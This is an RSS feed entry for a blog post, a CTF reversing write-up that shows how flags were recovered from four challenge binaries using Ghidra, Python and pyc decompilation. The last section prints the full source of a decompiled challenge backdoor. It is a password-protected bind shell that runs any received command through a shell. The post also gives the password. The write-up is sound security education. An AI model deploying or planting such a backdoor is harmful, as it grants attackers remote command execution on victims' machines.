<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: nyaarch64</title>
    <description>The latest articles on DEV Community by nyaarch64 (@ny_a).</description>
    <link>https://dev.to/ny_a</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F857495%2F042df07d-ecb6-4c32-bf15-24a248fec03e.png</url>
      <title>DEV Community: nyaarch64</title>
      <link>https://dev.to/ny_a</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ny_a"/>
    <language>en</language>
    <item>
      <title>Synack Red Team Five CTF Writeup - Rev</title>
      <dc:creator>nyaarch64</dc:creator>
      <pubDate>Thu, 05 May 2022 10:19:30 +0000</pubDate>
      <link>https://dev.to/ny_a/synack-red-team-five-ctf-writeup-rev-pgf</link>
      <guid>https://dev.to/ny_a/synack-red-team-five-ctf-writeup-rev-pgf</guid>
      <description>&lt;p&gt;I participated in Synack Red Team Five CTF. I solved all 25 challenges and placed 13th out of 333 teams.&lt;/p&gt;

&lt;p&gt;You can get challenge descriptions and downloadable files from &lt;a href="https://github.com/Hilb3r7/synack-red-team-five-ctf"&gt;Hilb3r7/synack-red-team-five-ctf&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  reversing
&lt;/h2&gt;

&lt;p&gt;Used tools: Ghidra&lt;/p&gt;

&lt;h3&gt;
  
  
  Access
&lt;/h3&gt;

&lt;p&gt;Decompile it and find "Access Granted! Submit pin in the flag format." in &lt;code&gt;main&lt;/code&gt; function.&lt;br&gt;
pin is compared each character with &lt;code&gt;(&amp;amp;DAT_00102014)[i] ^ 0x20&lt;/code&gt; in &lt;code&gt;checkpin&lt;/code&gt; function.&lt;br&gt;
&lt;code&gt;DAT_00102014&lt;/code&gt; is &lt;code&gt;\x4c\x13\x54\x7f\x4d\x45\x7f\x11\x4e\x7f\x4c\x13\x54\x7f\x4d\x45\x45\x45\x45\x7f\x49\x4e\x01\x01\x00&lt;/code&gt;&lt;br&gt;
XOR each character with 0x20, it become &lt;code&gt;l3t_me_1n_l3t_meeee_in!!&lt;/code&gt;&lt;br&gt;
Make it flag format and &lt;code&gt;HTB{l3t_me_1n_l3t_meeee_in!!}&lt;/code&gt; is the flag.&lt;/p&gt;
&lt;h3&gt;
  
  
  Check
&lt;/h3&gt;

&lt;p&gt;Decompile it and find many local variable assignment in &lt;code&gt;main&lt;/code&gt; function.&lt;br&gt;
It's called as stack strings technique.&lt;br&gt;
Select &lt;code&gt;local_58&lt;/code&gt; variable, right click it, select &lt;code&gt;Retype variable&lt;/code&gt; and input &lt;code&gt;char[32]&lt;/code&gt;.&lt;br&gt;
Now we can see the secret, &lt;code&gt;ch3ck_anD_r3checK_aga1n!&lt;/code&gt;.&lt;br&gt;
According to printf format &lt;code&gt;Welcome Agent, heres\'s a small gift: HTB{%s}\n&lt;/code&gt;,&lt;br&gt;
flag is &lt;code&gt;HTB{ch3ck_anD_r3checK_aga1n!}&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Split
&lt;/h3&gt;

&lt;p&gt;Decompile it and correct some informations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;local_88 = "v!7Xf-;.2=1/";&lt;/li&gt;
&lt;li&gt;decrypt, sub1, sub2, sub3 functon&lt;/li&gt;
&lt;li&gt;DAT_00102008 value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read these functions and implement its functionality with Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;buffer = []

out_buf = ""

for i in range(256):
  buffer.append(i)

local_18 = 0

ctx = "v!7Xf-;.2=1/"
out = [
  0x9f,
  0x69,
  0x43,
  0x1b,
  0x90,
  0x12,
  0x96,
  0x7a,
  0x23,
  0x76,
  0x8f,
  0x2e,
  0x9e,
  0x9f,
  0xeb,
  0x23,
  0x40,
  0xed,
  0xbd,
  0x7a,
  0x4b,
  0x99,
  0xf6,
  0xa0,
  0x0c,
  0x00,
]
ctx_len = len(ctx)

for i in range(256):
  iVar1 = ord(ctx[i % ctx_len]) + buffer[i] + local_18
  uVar2 = (iVar1 &amp;gt;&amp;gt; 0x1f) &amp;gt;&amp;gt; 0x18
  local_18 =(iVar1 + uVar2 &amp;amp; 0xff) - uVar2

  tmp = buffer[i]
  buffer[i] = buffer[local_18]
  buffer[local_18] = tmp

print(buffer)

out_len = len(out)

local_24 = 0
local_20 = 0

for i in range(out_len):
  local_24 = (local_24 + 1) &amp;amp; 0xff
  local_20 = (local_20 + buffer[local_24]) &amp;amp; 0xff
  tmp = buffer[local_20]
  buffer[local_20] = buffer[local_24]
  buffer[local_24] = tmp
  out_buf += (chr(out[i] ^ buffer[(buffer[local_20] + buffer[local_24]) &amp;amp; 0xff]))

print(out_buf)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Execute it and get &lt;code&gt;HTB{d0_th1s_oR_do_th47!?}&lt;/code&gt; flag.&lt;/p&gt;

&lt;h3&gt;
  
  
  Knock Knock
&lt;/h3&gt;

&lt;p&gt;It's a Pyinstaller binary.(I have used it once before, so I just knew it by checking the file.)&lt;br&gt;
Use &lt;a href="https://github.com/extremecoders-re/pyinstxtractor"&gt;https://github.com/extremecoders-re/pyinstxtractor&lt;/a&gt; to extract its source code archive in binary&lt;br&gt;
(by just running &lt;code&gt;python pyinstxtractor.py ./backdoor&lt;/code&gt; or something),&lt;br&gt;
now many .pyc files are extracted.&lt;br&gt;
Find &lt;code&gt;src.pyc&lt;/code&gt; and it's malformed as Python3.9, so &lt;a href="https://github.com/rocky/python-uncompyle6/"&gt;https://github.com/rocky/python-uncompyle6/&lt;/a&gt; denies to decompile.&lt;br&gt;
But challenge information says it's Python3.8, so I write helloworld python script and execute it with Python3.8.&lt;br&gt;
It yields Python3.8 .pyc file. Analyze it and find signature is \x55.&lt;br&gt;
Change &lt;code&gt;src.pyc&lt;/code&gt;'s signature from \x61 to \x55 and decompile by running &lt;code&gt;uncompyle6 backdoor-src.38.pyc &amp;gt; backdoor-src.py&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;backdoor-src.py is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import socket
from hashlib import md5
from subprocess import check_output
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 4433))
sock.listen(5)
while True:
    client, addr = sock.accept()
    data = client.recv(32)
    if len(data) != 32:
        client.close()
    else:
        if data.decode() != md5(b't0p_s3kr3t').hexdigest():
            client.send(b'Invalid')
        size = client.recv(1)
        command = client.recv(int.from_bytes(size, 'little'))
        if not command.startswith(b'command:'):
            client.close()
        else:
            command = command.replace(b'command:', b'')
            output = check_output(command, shell=True)
            client.send(output)
            client.close()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just read it and find secret is md5sum of 't0p_s3kr3t', '8f4328c40b1aa9409012c7406129f04b'.&lt;br&gt;
After sending it, any command following 'command:' will be executed.&lt;/p&gt;

&lt;p&gt;(I tought I saved its screenshot but I didn't...&lt;br&gt;
so basically I lost the flag and commands I executed...)&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>writeup</category>
    </item>
  </channel>
</rss>
